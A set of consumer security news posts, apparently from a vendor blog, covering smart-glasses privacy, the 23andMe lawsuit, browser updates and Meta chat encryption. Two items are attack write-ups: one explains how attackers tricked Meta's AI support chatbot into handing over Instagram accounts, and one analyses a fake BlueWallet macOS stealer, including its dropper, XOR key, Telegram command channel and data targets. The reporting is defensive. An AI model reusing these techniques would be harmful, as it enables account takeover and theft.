Meta’s smart glasses are once again at the center of a privacy debate due to face recognition.
WIRED reports that Meta had quietly embedded unreleased face-recognition code, internally called “NameTag,” into its Meta AI companion app, which powers the company’s smart glasses. The code was not active, but its presence in an app installed on more than 50 million devices raised immediate concerns about how quickly using smart glasses could slide into biometric surveillance.
Face recognition in glasses, even if disabled or unreleased, is especially sensitive because it can identify people at a distance, in real time, and without their consent. Many organizations have warned that this technology could be misused by stalkers, abusers, and others who want to identify people in public without drawing attention.
Gizmodo reports on a proposed Pennsylvania bill that would require smart glasses and similar wearable recording devices to include a visible indicator light when they are capturing audio or video. The bill would also prohibit users from disabling that indicator, a move clearly aimed at reducing covert recording in public spaces.
Most smart glasses already include such an indicator, but reporters noted that some users have been paying others to have them removed or disabled. The proposal is interesting because it tries to solve a hardware-level trust problem with a visible signal. But a visible light only helps if it is both mandatory and difficult to bypass, and history suggests that any visible privacy safeguard becomes a target for tampering when the incentives are high enough.
These two stories are really about the same issue: smart glasses are normalizing the use of always-on cameras, microphones, and AI features in a form that is much easier to conceal than a phone. That creates an unwanted privacy problem for people around the wearer.
Smart glasses are supposed to make computing more seamless. Instead, they are becoming a test case for what happens when cameras, microphones, AI, and biometric features are squeezed into everyday wearables before the privacy rules catch up.
From our point of view, smart glasses sit at the intersection of consumer privacy, surveillance tech, and potential abuse. The risk is not just that a device records audio or video. AI-enabled wearables can process what they see, deduce identities, and potentially store biometric data in ways that ordinary users and bystanders can’t easily detect.
We’d rather err on the side of caution and use an app that can detect when smart glasses are nearby. Unfortunately, it only detects some devices, and we don’t yet know how well it will perform if smart glasses become more common.
As noted by 404 Media, the app is an imperfect, tech-based response to a social and legal problem: it can misfire, it can’t tell you who is being recorded, and it risks giving a false sense of safety. The developer frames it not as a solution but as a small, user-controlled countermeasure in an environment where surveillance devices are becoming less visible and more AI-enabled.
Don’t get recognized
If facial recognition features ever become common in smart glasses, much of their effectiveness will depend on how much information about you is already available online. There are a few steps you can take today to reduce your visibility in facial recognition systems and people-search databases.
A major factor is limiting who can see the photographs you post on social media and other online platforms. But there is more you can do:
Remove yourself from reverse face search engines
The major, most accurate reverse face search engines, Pimeyes and Facecheck.id, offer opt-out and removal processes that can help reduce your visibility in search results:
Most people don’t realize how much information can be found from a name alone. People-search sites often aggregate home addresses, phone numbers, ages, and relatives from public records and commercial databases.
The New York Times has compiled a useful guide to many of the major people-search sites, along with instructions for opting out and removing your information.
Scrub your data
If you’re in the US, you can also use Malwarebytes Personal Data Remover to help find and remove personal information that data broker sites have collected about you.
Customer service chatbots have one job: get the user what they’re asking for without bothering a human. Meta’s new AI support assistant took that brief a little too seriously. Over the past few months, attackers have been opening support chats, telling the bot they were locked out of Instagram accounts they didn’t own, and walking away with the keys.
Over the weekend, Meta pushed an emergency patch after Instagram accounts belonging to the Obama White House (now dormant), beauty retailer Sephora, and a senior US Space Force official were taken over and briefly defaced with pro-Iranian imagery. Security researcher and former Meta employee Jane Manchun Wong was also hit.
How the trick worked
The attack was simple. Attackers worked out where the account owner lived (there are lists of account owners’ home cities online, or they could just research the target). Then they used a VPN to match the target account’s geographic region, which avoided raising flags with Instagram’s security systems.
Then they started a normal password reset and opened the support chat. They asked the AI bot providing support to change the email address on the account, and it did exactly that, sending a one-time code straight to the attacker’s inbox.
To do this, the chatbot appears to have been wired into Meta’s account management systems with permission to make account changes, but without being taught how to verify it was talking to the real account owner. Security people have a name for that: “confused deputy.” The term has been around since the 1980s.
In fairness to the confused bot, attackers were successful even if the enhanced security was triggered. They would apparently create video deepfakes of their targets using images that were harvested from—you guessed it—Instagram.
Meta hoisted on its own AI petard
Meta has been shedding headcount and pouring money into AI, and rolled out its AI-powered support assistant earlier this year to help handle account recovery and other support requests.
The downside is that the AI appears to have been given the ability to perform actions such as email changes and password resets without applying enough safeguards to confirm the user’s identity first.
Meta communications executive Andy Stone said on X that the issue was resolved and impacted accounts were being secured. The company has not disclosed how many accounts were affected.
What actually worked
Why would anyone want to hack an Instagram account anyway? Revenge can be a driver, but more often than not, financial gain is the goal. Hijackers have blackmailed businesses that rely on those accounts for marketing.
Attackers using this technique have also been spotted targeting “OG” accounts with short or highly desirable usernames. If you joined Instagram early and registered a memorable handle, it can be worth thousands of dollars on underground markets.
What can you do to protect yourself?
A perennial piece of advice still holds: turn on multi-factor authentication (MFA). According to veteran cybersecurity reporter Brian Krebs, the attack failed against accounts that had MFA enabled, including those using SMS codes.
That doesn’t make MFA perfect, but it adds an important layer of protection.
So the practical advice is unglamorous:
Open Instagram’s Settings
Navigate to your Meta Accounts Center
Turn on Two-factor authentication. An authenticator app is better than SMS, but either is better than nothing.
Do it now, because this might not yet be over. TheCyberSecGuru reports that another attack is circulating, this time using an Android emulator called BlueStacks running a modified version of Instagram to send new prompts with hidden characters designed to manipulate the AI.
Expect more snafus from “helpful” bots
This won’t be the last attack against AI chatbots. As more companies use AI to reduce customer support costs, their attack surface will grow, and they’ll make plenty of mistakes as they try to balance security and functionality.
The Meta exploit is patched, but the confused deputy concept is not. And there’s nothing quite as damaging as a confused AI with the keys to your digital life.
Scammers don’t need to hack you. They just need you to click once.
California has sued the former shell of DNA testing company 23andMe over alleged security failures and misleading statements surrounding its 2023 data breach.
On May 27, 2026, Attorney General Rob Bonta filed suit in San Francisco Superior Court against Chrome Holding Co., the company now handling 23andMe’s remaining assets following its bankruptcy.
California’s complaint accuses 23andMe of failing to implement reasonable security measures to protect sensitive data and alleges violations of several state privacy and consumer protection laws. It also accuses the company of making misleading statements about its security practices.
The 2023 breach used old-school credential-stuffing tactics against 23andMe’s login page. Attackers operated inside the systems for roughly five months without anyone noticing. The direct compromise was modest, affecting about 14,000 accounts, but that was all the attackers needed to steal the data of just under seven million customers.
The intruders pivoted from those accounts through DNA Relatives, the platform’s headline feature, which enabled people to determine who they were connected with through DNA similarity. The lawsuit alleges a critical coding error in that feature enabled the perpetrators to scrape data from millions of other users connected by biological kinship.
The victim-blaming defense became evidence
After the breach went public, 23andMe sent victims’ legal representatives a letter blaming users for reusing passwords from sites that had been compromised earlier. The exposed data, the company suggested, had been shared of the users’ own free will and would not cause “pecuniary harm.”
The harms stemming from genetic data theft extend far beyond financial losses, however. The genetic information that was stolen enabled thieves to determine an individual’s genetic origins.
The data was reportedly offered for sale on the dark web with this information as a selling point, enabling sellers to offer records on Asian American Pacific Islander (AAPI) or Jewish customers, for example. Bonta’s office pointed out that antisemitic violence was on the rise at the time.
In spite of the letter’s attempt to blame users, only about 14,000 accounts were directly compromised through password reuse. The rest of the data was allegedly exposed through 23andMe’s own product. According to the complaint, the coding error in DNA Relatives exposed the data of anyone who had opted into the service, not just those linked to the 14,000 compromised accounts.
Can the state recover damages?
California is seeking statutory penalties ranging from $1,000 to $7,500 per violation. With 855,541 Californians among the affected users, the costs could mount up quickly.
The question is how much of it the state will collect if it wins its case. 23andMe filed for Chapter 11 bankruptcy in March 2025, then sold most of its assets, including the genomic data of more than 15 million customers, to TTAM Research Institute, a nonprofit founded by former 23andMe CEO Anne Wojcicki. California and several other states opposed the sale on Genetic Information Privacy Act grounds, but a federal bankruptcy judge approved it. The states are now appealing that decision.
Chrome Holding Co., the corporate shell that remains of 23andMe, received $305 million from that sale. But others have already been picking over what’s left.
Other regulators have already had their turn. The UK Information Commissioner’s Office fined 23andMe £2.31 million in June last year following a joint investigation with the Privacy Commissioner of Canada. A federal court initially approved a $30 million class-action settlement covering most US customer claims. That settlement later grew to $50 million and received final approval in January 2026.
What customers can do
If you tested with 23andMe, the standard breach hygiene still applies. Reset any password you reused on other sites and turn on multi-factor authentication wherever it’s offered. Credential stuffing only works on usernames and passwords that have already been exposed elsewhere. Also watch for phishing attacks that name-drop 23andMe or the breach itself. And maybe weigh the benefits of using DNA testing services against the security risks.
Because there’s one part of this that no fine and no settlement can solve: stolen genetic data sold on the dark web cannot be taken back. Passwords can be changed. DNA can’t.
Browse like no one’s watching.
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A fake website impersonating BlueWallet (a real Bitcoin wallet) is targeting Mac users with a simple but effective attack. BlueWallet itself has not been compromised. Instead, cybercriminals have stolen the name and branding of the legitimate Bitcoin wallet to make a malicious download appear trustworthy.
If you went looking for a cryptocurrency wallet and landed on one of these fake BlueWallet download pages, the site tried to trick you into opening a downloaded file in a built-in macOS tool and pressing “Run.” If you followed those instructions, the malware could steal saved passwords, browser logins, cryptocurrency wallets, documents, and other sensitive data. It also watches the clipboard for cryptocurrency wallet addresses and can replace them with attacker-controlled addresses..
That last feature is particularly dangerous. If you copy a wallet address before sending funds, the malware can silently replace it with the attacker’s address. Everything looks normal on screen, but the money goes somewhere else.
Should you worry? Only if you downloaded and ran the file. Simply visiting the page and closing it does nothing on its own. The attack depends entirely on the user opening the script and pressing play.
If you did run it, treat the machine as compromised and follow the steps below.
What to do if you may have run it
If you opened the file and pressed play, assume your device was compromised and work through these steps:
Disconnect the machine from the network to cut the control channel
The most interesting part of this campaign isn’t technical. The attackers didn’t break into the Mac or bypass Apple’s security protections. They persuaded victims to run the malware themselves.
The fake website walks users through the process with a convincing download page, simple instructions, and even a keyboard shortcut. The attack succeeds because the victim trusts what they are seeing.
As operating systems get better at blocking malicious software, attackers are increasingly investing in social engineering. Instead of finding ways around security controls, they convince people to click through them.
That’s why one habit is becoming increasingly important: Be suspicious of any download that arrives with instructions to open it in a scripting tool, developer utility, or Terminal window and press “Run.”
In this campaign, a single press of ⌘R was enough to turn a Mac into a password stealer, cryptocurrency wallet thief, clipboard hijacker, and remote access tool.
Technical analysis
Stage one: The AppleScript downloader
The page lives at update-bluewallet[.]com, a domain name close enough to the real wallet (bluewallet.io) to pass a quick glance. The first thing the page does is not wait for consent. Its script calls a download routine on a two-second timer the moment the page loads, and again if the visitor clicks either of two buttons.
The file that lands in the Downloads folder is named BlueWallet Installer.applescript, an extension most people have never seen and have no instinct to distrust.
Then the page does something quietly clever. After a short delay, it rewrites its own status text to read like setup instructions: open the installer, then press the play button or ⌘R. It even draws a small blue play triangle in the text so the wording matches the real Script Editor interface the victim is about to see.
The page walks the victim through the exact motions needed to run the file.
On modern macOS, an unsigned application downloaded from the web gets quarantined and checked before it can run. A plain script opened in Script Editor and executed by the user sidesteps that flow. The person is manually instructing a trusted Apple tool to run code, so there is no notarization gate to fail.
This is why the attacker chose an AppleScript instead of a packaged app: it moves the risky action out of the operating system’s hands and into the victim’s.
The AppleScript itself is remarkably short. Stripped of its decorative comments, including a fake version number and a line claiming to be a “Brew Install Upgrade,” it runs a single base64-encoded shell command and then tells Script Editor to quit without saving, removing the evidence from view.
It fetches a second script from a remote host, saves it to a hidden file in the temp directory, makes it executable, and runs it in the background with all output suppressed.
The victim sees nothing. The filename .sysupd.sh is dressed up to look like a system update. This is a textbook staged dropper: stage one is tiny and disposable, and its only job is to fetch the real payload.
Stage two: Payload analysis
The first lines establish how the malware intends to operate. It sets umask 077 so everything it creates is readable only by the compromised user, then builds a hidden, randomly named working directory under /tmp seeded from /dev/urandom.
Its configuration is obfuscated, but weakly. A small function named _xd walks a hex string two characters at a time and XORs each byte against a hardcoded repeating key: swckR9JCD2Uu.
That function decodes the script’s Telegram bot token, chat identifier, secondary command token, and staging URL at runtime. It is enough to defeat tools that only search for plaintext strings, but not much more. Because the key and algorithm are both sitting in the file, every encoded value is fully recoverable.
One detail stands out: The decoded Telegram chat value and decoded command-and-control chat value are identical. The attacker is using a single Telegram channel as both the exfiltration drop and the control channel. It is cheap, scalable, encrypted, and blends into ordinary HTTPS traffic.
Not everything is obfuscated. The clipboard-hijacking addresses are sitting in the file in plain text: a Bitcoin address, an Ethereum address, and a Solana address. These are the addresses the implant swaps in when it catches you copying a wallet address. Because they are public on their respective blockchains, they are also among the most useful artifacts in the whole sample.
What the malware steals
The second stage’s collection routines are sweeping. They pull from six broad categories.
1. Web browsers
The script extracts history, cookies, login data, and bookmarks from a wide range of browsers, including:
Chromium-based browsers: Google Chrome Stable, Beta, Canary, and Dev; Brave; Microsoft Edge; Vivaldi; Opera; Opera GX; Arc; Chromium; Coccoc; and Yandex
Firefox-based browsers: Firefox, Waterfox, Pale Moon, Zen, and LibreWolf
macOS native browser data: Safari cookies, history, and form values
Other ecosystems: Yoroi, Lace, Petra, Martian, Suiet, Talisman, SubWallet, Braavos, and Temple
3. Password managers and security tools
The malware targets local storage and settings for several password managers, including LastPass, 1Password, Dashlane, Bitwarden, Keeper, RoboForm, NordPass, Enpass, StickyPassword, TrueKey, Passbolt, and Buttercup.
It also looks for data associated with 2FA and authenticator tools, including Google Authenticator, Authy, Duo, Microsoft Authenticator, 2FAS, and FreeOTP.
4. Communication and social apps
The script attempts to copy session data and local storage for Telegram Desktop and Discord, including Discord Canary and Discord PTB.
5. Developer and cloud tools
It looks for credentials and configuration files in the user’s home directory, including:
AWS CLI configurations in .aws
SSH keys in .ssh
GnuPG keys in .gnupg
Kubernetes configs in .kube
Shell and Git files including .zshrc, .zsh_history, .bash_history, and .gitconfig
6. Productivity apps and general files
The script copies the local Apple Notes database, NoteStore.sqlite.
It also looks for browser-extension data related to shopping and productivity tools, including Honey, CapitalOne Shopping, Rakuten, CamelCamelCamel, Grammarly, Evernote, Notion Clipper, Todoist, and Google Keep.
Finally, it scans Desktop, Documents, and Downloads for files with extensions including .txt, .pdf, .docx, .doc, .rtf, .wallet, .key, .keys, .seed, .kdbx, .pem, and .env, under a size cap.
What it does with the stolen data
The malware tries to capture the user’s account password directly. An osascript dialog titled “System Preferences” asks the user to re-enter their password “to continue.” The script validates each attempt against dscl . authonly before saving it, so it only stops once it has a working credential.
For exfiltration, it archives the staged data with macOS’s own ditto, likely because it is always present, unlike zip. To stay under Telegram’s 50 MB upload limit, it breaks larger archives into 49 MB chunks with split before sending each part.
It establishes persistence by writing a LaunchAgent plist into the user’s ~/Library/LaunchAgents, backed by a hidden support directory, and loading it with launchctl so the implant runs again at every login.
The clipboard hijack is a live background loop. A clip_watch function continuously inspects the clipboard, matches Bitcoin, Ethereum, and Solana address formats by regex, reports the original address to the command-and-control channel, and overwrites the clipboard with the attacker’s address via pbcopy.
That means the substitution happens silently between copy and paste.
Finally, the malware can be controlled interactively. A c2_loop polls the Telegram bot for commands and supports a full operator toolkit:
/info for system details
/exec for arbitrary shell commands
/clipboard to read current clipboard contents
/download to pull specific files
/exfil to rerun the theft module
/selfdestruct to wipe traces
This makes the Telegram channel a real-time remote-control link, not just a one-way drop.
Living off the land, and off Telegram
The pattern here is familiar and getting more common: lean on tools that are already trusted.
The delivery abuses Apple’s own Script Editor. The configuration hides behind a trivial XOR rather than packed binaries. The command channel rides Telegram’s Bot API, which can pass through egress filters that would flag an unknown server.
None of these pieces is novel on its own. The effectiveness comes from stacking legitimate-looking components so no single step trips an alarm.
Detection opportunities
The lessons here are less about the lure and more about the technique itself.
Script Editor executing a one-line base64 do shell script that immediately quits is a strong behavioral signal, and a far better detection target than the disposable stage-one file. So is a hidden /tmp/.sysupd.sh downloaded by curl and launched in the background.
Browsers and download surfaces could treat .applescript files arriving from the web with the same suspicion as executables. And Telegram remains an under-addressed command-and-control medium that bot-token abuse reporting could disrupt at the source.
You’re working hard late at night, replying to emails and planning the week ahead. Then suddenly, a PDF file requests access to your camera. Why would a PDF need camera access?
Cybercriminals often disguise spyware inside seemingly harmless files and programs. An unexpected request for access to your webcam can be a red flag that something is amiss.
Malwarebytes Windows Webcam Monitoring alerts you if a program tries to access your camera, so you can allow trusted programs to continue or block suspicious ones instantly.
Spyware doesn’t just steal passwords. Some malicious apps try to access webcams to secretly spy on victims or capture sensitive information.
What does Windows Webcam Monitoring do?
Sends you an instant alert when a program tries to access your webcam.
Allows only the programs you trust to access your camera, blocking everything else.
Lets you manage notification preferences in Privacy Controls. A dedicated “Webcam Monitoring” table shows recognized programs and gives you control over which apps trigger alerts, and which don’t.
With the benefit of real-time alerts, Windows Webcam Monitoring gives you visibility into which programs are trying to access your devices. And when it’s something you don’t recognize, it may even help you stop spyware before it can spy on you.
At Malwarebytes, we believe security shouldn’t be complicated. Windows Webcam Monitoring is another step toward giving you simple, proactive protection that works automatically, so you can stay focused on pretty much anything else.
Ready to take control?
Update Malwarebytes for Windows, go to Privacy Controls and enable Webcam Monitoring.
Mozilla has published release notes for Firefox browser version 151.0, and this update includes several genuinely meaningful privacy and security improvements.
Three changes stand out in particular:
Stronger anti‑fingerprinting
Broader protection for local network access
More control over private sessions and permissions
Note that Mozilla says several Firefox 151 features are “part of a progressive roll out,” meaning they will appear for some users first and be expanded over time. So, you may not see all of them immediately.
Privacy
One of the more visible additions is a new “end private session” control in Private Browsing Mode. Instead of closing every private window to clear your traces, you now get a dedicated fire‑icon button next to the address bar that wipes the current private session’s data and immediately starts a fresh one.
End private session button
Under the hood, this clears the usual private browsing artifacts for that session, including history, cookies, cached files, and other site data that would normally disappear only when the last private window closes.
For people who routinely mix normal and private windows, this is safer and less error‑prone than hunting down every private tab before you walk away from the machine.
Firefox 151 also tightens its defenses against browser fingerprinting in the default “Standard” Enhanced Tracking Protection (ETP) mode. Mozilla says Firefox now limits the amount of device and browser information exposed to websites in a way that reduces the number of uniquely identifiable users by about 14% overall, and by roughly 49% on macOS.
This makes it harder for trackers to pick you out of the crowd, especially on platforms with fewer users to begin with (like certain macOS configurations). This reduces the privacy risk surface by default, which makes it harder for phishing and landing pages that redirect visitors to “categorize” you.
Another important change is Firefox’s “local network access restrictions,” which are now rolling out to all users, not just those who turned Enhanced Tracking Protection to Strict.
This means that when a website wants to communicate with devices on your local network, or with apps and services running on your machine, Firefox now asks for permission first. Chrome and Edge have been rolling out similar permission prompts.
The most notable example is CVE‑2026‑8953, a sandbox escape due to a use‑after‑free in the Disability Access APIs component. While there are currently no reports of in‑the‑wild exploitation for this specific bug at the time of writing, this is the kind of bug cybercriminals love.
A use-after-free (UAF) is a software memory vulnerability where a program attempts to access a memory location after it has been freed. If the program fails to clear the pointer to that freed memory, attackers can manipulate the error to crash the system or execute arbitrary code. A memory corruption leading to a sandbox escape is exactly the kind of link attackers want to complete a browser exploit chain.
How to update
If you’re running Firefox in a home or small‑office environment, we recommend updating to Firefox 151 as soon as possible to get the fingerprinting protections, local network access prompts, and security patches.
To update Firefox:
Open Firefox
Click the menu (three stacked lines) in the upper-right corner
Go to Help > About Firefox
Firefox will automatically check for updates and begin downloading them
Restart the browser when prompted to complete the update
Once your Firefox browser has been updated, it will show a green checkmark along with the message: “Firefox is up to date.”
Let’s face it, an incognito window can only do so much.
Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft Protection monitors for all of it, alerts you fast, and comes with identity theft insurance.
If you’re worried about deepfake likenesses of yourself showing up online, you’re not alone; YouTube is worried for you. It wants to protect you by having you upload a selfie video and government ID to its site.
The idea is that the video giant will use its own AI to patrol the service for fake videos using your likeness. In exchange, you get the chance to have them taken down.
This isn’t available for everyone, though. It’s for celebs, those in vulnerable jobs, and now, most YouTube creators.
YouTube has been working on this concept, which it calls its “likeness detection” system, since it first floated the idea publicly in September 2024. That December, it launched a partnership with the Creative Artists Agency that saw it using the technology with sporting and entertainment figures.
In October last year, it expanded likeness detection to cover more creators, and then in March it expanded it again to cover politicians and journalists. And last month, it widened the net again, offering the service to Hollywood celebs. They can use it regardless of whether they have a YouTube account, it added.
Now, in its latest move, anyone 18 or older with a selfie and ID can sign up. At least in theory, as it hasn’t rolled out to everyone yet. It’s also for faces only; AI-generated voice clones are another problem entirely.
The privacy risk
Privacy advocates warned that YouTube’s likeness detection system could normalize handing biometric data to large tech platforms, even if YouTube says the data is only used to improve likeness detection models with creator permission.
On the help page for the likeness detection service, YouTube says creators can separately choose whether their face and voice templates are used to improve its likeness detection models.
“When you sign up for Likeness detection, you also have the option to allow YouTube to use your face and voice templates to develop and improve likeness detection models. This helps us build better, more accurate likeness detection technologies.”
Adding:
“You can opt out of YouTube’s use of this data for development and improvement of likeness models at any time.”
YouTube supports legislation intended to tackle deepfakes, such as the NO FAKES and TAKE IT DOWN acts. These are designed to help stop the misappropriation of someone’s image online. TAKE IT DOWN, which became law a year ago, focuses purely on “nonconsensual intimate imagery.” But that doesn’t cover other kinds of deepfakes, such as fake politicians or celebrity endorsements. Those are becoming increasingly common. NO FAKES, which hasn’t yet become law, is far broader in scope, assigning people federal rights over their own image.
So is it worth the trade?
Deepfakes, intimate and otherwise, are definitely a threat, especially for YouTubers who become popular. And the barrier to entry is lowering all the time. Google’s own DeepMind researchers found most generative AI misuse isn’t sophisticated; it’s mundane likeness manipulation by anyone with a browser.
So do you hand over your face and government ID for your protection, to a company whose broader data collection practices have faced years of scrutiny, and hope its policies don’t change? Or do you skip it and hope that the deepfake merchants don’t decide to target you?
Creators commenting on YouTube’s video revealing the service six months ago were less than impressed. One commenter said:
“I was 100% on board, up until the ID upload. That makes me very uncomfortable.”
Echoing several others who complained that it’s difficult to get takedown requests actioned, another added:
“If YouTube actually acted upon these kinds of reports, then I’d be more in favour of this.”
Whether you decide to sign up for the service or not, just be sure to do it with your eyes open.
Someone’s watching your accounts. Make sure it’s us.
Microsoft said it will change Edge’s password handling as a “defense‑in‑depth” measure.
Originally, Edge decrypted the entire saved‑password store on startup and kept all credentials resident in process memory in clear text for the whole browser session, regardless of whether a given credential was ever used or not.
A short while ago, Microsoft said this plaintext password behavior was by design. Now, Microsoft has changed course, and the new password-handling behavior is already present in Canary (the experimental preview version of Microsoft Edge), with rollout prioritized across all channels.
The researcher who originally flagged the issue said:
“Edge is the only Chromium‑based browser I’ve tested that behaves this way. By contrast, Chrome uses a design that makes it far harder for attackers to extract saved passwords by simply reading process memory.”
Microsoft Edge Security Lead Gareth Evans said Microsoft is now taking a broader view and has committed to changing Edge so that saved passwords are no longer loaded into memory on startup as clear text. As a result, exposure will be reduced as a defense‑in‑depth improvement. That means even if an attacker has administrative control of a device, it becomes harder to harvest all the passwords.
According to Microsoft:
“Going forward, Microsoft Edge will no longer load all saved passwords into memory at browser startup. Instead, passwords will be decrypted only when needed for autofill or password management operations.”
The change is already live in the Edge Canary channel and will be included in the next update for all supported Edge releases (build 148 and newer across Stable, Beta, Dev, Canary, and Extended Stable).
The reason for this change is probably more reputational and strategic rather than an acknowledgment of an exploitable vulnerability. Microsoft seems to want to align reality with its “secure by design” messaging and reduce a very visible, easy‑to‑demo weakness, even if it still doesn’t treat it as a classic memory‑disclosure bug.
Passwords in your browser
Please note that this change just means Edge will become roughly as secure an option to store passwords as every other Chromium-based browser.
Your browser password manager gives you ease of use, but that comes with some security tradeoffs. Of course, password managers aren’t foolproof either, so it’s important to decide for yourself where you store your passwords.
If you’re confident a website is safe, and anyone who can access it under your account wouldn’t learn anything sensitive, feel free to store the password in your browser, but disable autofill so you stay in control.
Use MFA where possible. It enormously reduces the risk if someone gets hold of your password. And avoid using the browser password manager to store your credit card details or other sensitive personally identifiable information, such as medical information.
Let’s face it, an incognito window can only do so much.
Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft Protection monitors for all of it, alerts you fast, and comes with identity theft insurance.
Recent news had us wondering whether Meta actually knows what it wants.
On one platform, Meta is promoting AI chats that it says even it cannot read. On another, it has removed one of the few features that genuinely prevented Meta from accessing private conversations.
At the moment, Meta is heavily promoting a new Incognito Chat mode for its Meta AI assistant in WhatsApp, built on top of a system it calls Private Processing. According to WhatsApp’s own announcement, Incognito Chat is:
“Truly private — no one can read your conversation, not even us.”
When you start an Incognito chat with Meta AI, you get a temporary conversation where messages aren’t saved and disappear by default, which Meta pitches as “a space to think and explore ideas without anyone watching.”
BBC News and others report that these AI chats are text‑only for now, run in a sandboxed environment, and are separate from your regular end‑to‑end encrypted (E2EE) messaging with other people on WhatsApp.
Meta is also preparing “Side Chat,” which will let you invoke Meta AI inside other WhatsApp chats, again using this Private Processing infrastructure to claim AI assistance without breaking the underlying encryption.
On paper, that’s an impressive technical and marketing story: powerful AI, wrapped in layers of privacy‑preserving infrastructure, added to an app that already has a strong reputation for end‑to‑end encryption by default.
Meanwhile, on Instagram…
Now contrast that with what’s happening on Instagram. On 8 May 2026, Meta removed optional end‑to‑end encryption for Instagram Direct Messages (DMs) entirely. Users who had previously turned the feature on were shown notices that “end‑to‑end encrypted messaging on Instagram is no longer supported as of 8 May 2026,” and were urged to download backups of their encrypted conversations before the cutoff.
End‑to‑end encryption ensures that only the sender and recipient can read their conversations. Instagram offered this as an opt‑in feature since late 2023, but it was buried several taps deep inside individual conversation settings and never turned on by default. Meta’s explanation for shutting it down is that “very few people” used encrypted DMs and that maintaining a separate encrypted system added complexity. Critics have pointed out the circular logic. The company hid the feature, did not advertise it, and is now using low adoption as the reason to kill it rather than, say, making it easier to find or turning it on by default.
What all this means
From a user’s perspective, the result is confusing: one Meta product introduces stronger privacy than ever for AI chats, while another removes the one feature that truly stopped Meta from reading your conversations.
The key point to remember here is that “incognito” and “private” are marketing words, while end‑to‑end encryption is a technical guarantee.
For security‑conscious users, this split personality means you can no longer treat all Meta chats the same. WhatsApp remains end‑to‑end encrypted for person‑to‑person messages and adds optional privacy features around its AI, while Instagram DMs should now be assumed readable by Meta and potentially accessible to law enforcement, advertisers, or attackers who gain access to Meta’s systems.
We also know there have been lawsuits against chatbot providers in cases where the outcome of an AI conversation led to very undesirable results. But how would you be able to provide evidence when messages auto-disappear?
How to proceed
Meta’s recent moves show that strong privacy features can be added where they support a strategic narrative and removed where they conflict with business or regulatory priorities. Users can’t control those decisions, but they can respond by choosing where they hold their most sensitive conversations and by assuming that if a chat isn’t end‑to‑end encrypted by default, it is ultimately readable by someone other than the people in it.
So, what’s a safe way to move forward?
Treat Instagram DMs as postcard-level privacy. Now that E2EE is gone, assume Meta can read and scan your messages and that content could be accessed under legal orders or in a breach. Do not send passwords, recovery codes, banking details, or compromising photos over Instagram.
When someone asks you to move a conversation to Signal, WhatsApp, or another E2EE messenger, ask them why. It does make sense when you’re sharing financial details, personal images, health information, or anything you would not want a platform provider to read. But sometimes scammers prefer encrypted platforms too, because they’re harder to monitor.
Do not confuse “incognito” AI chats with full encryption. WhatsApp’s Incognito mode for Meta AI may be a privacy improvement over standard cloud AI chats, but it is still a conversation with a large language model owned by the same company that runs the platform. Share only what you’re comfortable entrusting to Meta.
Regularly review your privacy and security settings. Check which devices are logged in, enable two‑factor authentication, and verify which of your chat apps are actually end‑to‑end encrypted by default.
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Some Malwarebytes users have recently noticed frequent web protection alerts while reading email in Yahoo Mail’s web interface. These alerts are caused by background connections from the Yahoo Mail page to a set of third‑party domains that our products and other security tools currently classify as risky.
What we are seeing under the hood
When you open Yahoo Mail in a browser, the page loads various embedded components for navigation, features, and metrics. As part of this, the interface makes calls to domains such as cook.howduhtable.com and related subdomains, sometimes in the context of URLs that include /ybar/mail.yahoo.com/ and a long encoded parameter. That encoded string often resolves to a URL like:
This suggests the traffic is being routed through what appears to be a sandboxed web component that Yahoo can use for things like telemetry, testing infrastructure, or mail features. It may also be part of an advertising or tracking flow, but at this time we cannot say with certainty exactly what purpose Yahoo is using it for.
Regardless of intent, multiple security systems have observed these redirect domains and assigned them poor reputations. Characteristics include:
Frequently changing, opaque subdomains that do not resemble normal consumer‑facing Yahoo addresses
Use of encoded parameters and chained redirects that make it difficult for users, and sometimes defenders, to see the final destination at a glance
Existing detections and blocklists from other vendors that classify the infrastructure as suspicious or potentially malicious
Because of these signals, Malwarebytes Web Protection and Browser Guard have been blocking a growing list of related subdomains to protect users, which is why some people see repeated alerts while using Yahoo Mail.
What we are not saying
It is important to be clear about what we do and do not know.
We have not established that Yahoo Mail itself is compromised or that Yahoo is deliberately distributing malware through its mail platform. What we can say is that third‑party or internal components invoked from within the Yahoo Mail web interface are making connections through domains that behave very similarly to infrastructure commonly associated with malicious or deceptive advertising and tracking.
From a security standpoint, this creates unnecessary risk. Any mechanism that injects content or runs sandboxed components via opaque redirect chains could, if misused or subverted in the future, expose users to harmful content without them ever clicking a suspicious link.
Blocking these domains is a precautionary step in line with our normal protection standards.
Why Malwarebytes blocks these redirects
Our decision to block these connections is based on a combination of technical behavior and third‑party reputation data:
The redirects are triggered by embedded components in the Yahoo Mail interface, not by users intentionally browsing to those domains
The infrastructure relies on frequently changing, non‑descriptive domains and subdomains, a pattern we often see in malicious or evasive advertising and tracking systems
Multiple security vendors and automated reputation feeds already flag these domains as risky or malicious, and some have seen them associated with unwanted or harmful activity
Because of this, Malwarebytes products currently block connections to these third‑party domains when they are invoked as part of Yahoo Mail’s web experience. This does not mean that all of Yahoo Mail is considered malicious. It means we are specifically interrupting a narrow set of background calls that present elevated risk.
What this means for users
If you use Yahoo Mail in a browser with Malwarebytes enabled, you may see:
Web protection or MWAC alerts referencing domains like cook.howduhtable.com or similar names while you are reading or composing email
Multiple alerts in a short period, because the mail interface may retry or rotate through different subdomains or IP addresses in the same family
In most cases, your email content itself still loads, though certain embedded elements, metrics, or ad‑related content may fail to load or behave differently.
How to stay safe and reduce interruptions
You should not need to lower your protection to continue using Yahoo Mail. Here are some practical steps you can take:
Keep Malwarebytes protection enabled Leaving Web Protection and Browser Guard on ensures blocks remain in place if these redirects change behavior or begin serving harmful content in the future.
Avoid allowlisting the suspicious domains While it’s technically possible to add exclusions for individual domains, doing so would allow their traffic to load unfiltered in your browser. We don’t recommend this unless you fully understand and accept the risk.
Use private/incognito windows for Yahoo Mail Accessing Yahoo Mail in a private/incognito session can help reduce persistence of certain tracking and advertising data because the browser discards cookies and local storage when you close the window.
Clear cookies and site data periodically If you see repeated alerts, clearing Yahoo‑related cookies and cached data may reduce some of the underlying tracking behavior that triggers these redirects.
Consider fewer‑ads options Yahoo offers paid plans that reduce or remove ads, and users can also use reputable content‑blocking extensions alongside Malwarebytes to cut down on ad‑driven behavior in webmail interfaces.
Our ongoing monitoring
